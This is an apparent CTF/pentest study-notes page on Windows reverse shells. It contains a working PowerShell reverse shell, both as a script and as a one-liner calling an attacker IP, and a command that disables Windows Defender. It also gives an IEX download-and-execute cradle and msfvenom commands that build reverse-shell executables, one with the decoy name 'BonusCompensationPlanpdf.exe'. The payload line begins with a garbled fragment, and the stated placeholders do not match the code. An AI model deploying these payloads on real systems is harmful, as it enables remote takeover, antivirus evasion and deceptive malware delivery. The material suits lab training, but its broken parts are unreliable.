> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/vulnerability-assessment/shells-and-payloads/reverse-shell/windows-reverse-shell.md).

# Windows Reverse Shell

Reference: <https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#powershell>

Use a reverse shell when the target can connect back to your machine.

### Start a listener

```bash
sudo nc -lvnp <PORT>
```

{% hint style="info" %}
Use the IP address the target can actually reach.
{% endhint %}

### Disable AV:

```
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true
```

### Trigger the reverse shell

Run the payload on the target.

Replace `10.0.0.1` and `4242` before you run it.

{% code title="PowerShell reverse shell" %}

```powershell
wershell$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    if (![string]::IsNullOrWhiteSpace($data)) {
        try {
            $sendback = (iex $data 2>&1 | Out-String)
        } catch {
            $sendback = $_.Exception.Message
        }
    } else {
        $sendback = "Empty command received.`n"
    }
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()
```

{% endcode %}

Payload as a file:

```bash
# Create the file
cat > shell.ps1 << 'EOF'
# payload here
EOF

# Serve it
python3 -m http.server 8080
```

```powershell
# Execute on target
IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP:8080/shell.ps1')
```

## Reverse Shells & Payload Generation

### PowerShell Payload

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

### Metasploit Payloads

#### Windows Payloads

Staged (Notice the `/` separating the stages)

* `windows/x64/meterpreter/reverse_tcp`
* `windows/x64/meterpreter/reverse_http`
* `windows/x64/meterpreter/reverse_https`
* `windows/x64/shell/reverse_tcp`
* `windows/x64/encrypted_shell/reverse_tcp`

Stageless (Notice the `_` combining the shell and network communication)

* `windows/x64/encrypted_shell_reverse_tcp`
* `windows/x64/powershell_reverse_tcp`
* `windows/x64/powershell_reverse_tcp_ssl`
* `windows/x64/meterpreter_reverse_http`
* `windows/x64/meterpreter_reverse_https`
* `windows/x64/meterpreter_reverse_tcp`

> Note: If a firewall blocks direct connections, try `reverse_https` or `reverse_dns`.

#### Cross-Platform Payloads

* `python/meterpreter/reverse_tcp`
* `php/meterpreter/reverse_tcp`

### MSFVenom Payload Creation

List all available payloads:

```bash
msfvenom -l payloads
```

Linux Payload Creation (ELF format):

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
```

Windows Payload Creation (EXE format):

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe
```

> Note: Without encoding or encryption, raw executable payloads will likely be flagged by Antivirus (like Windows Defender) unless it is disabled.

### Catching the Payload (Listener)

Set up a Netcat listener on your attack box to catch the connection when the target executes your stageless payload (applies to both Linux `.elf` and Windows `.exe` files):

```bash
sudo nc -lvnp 443
```

### Next step

Upgrade the shell after the connection lands.

See [Fully Interactive TTY](/capcap/readme/ctf-modules/post-exploitation/fully-interactive-tty.md).

### Reference

* [Payload All The Things reverse shell cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)


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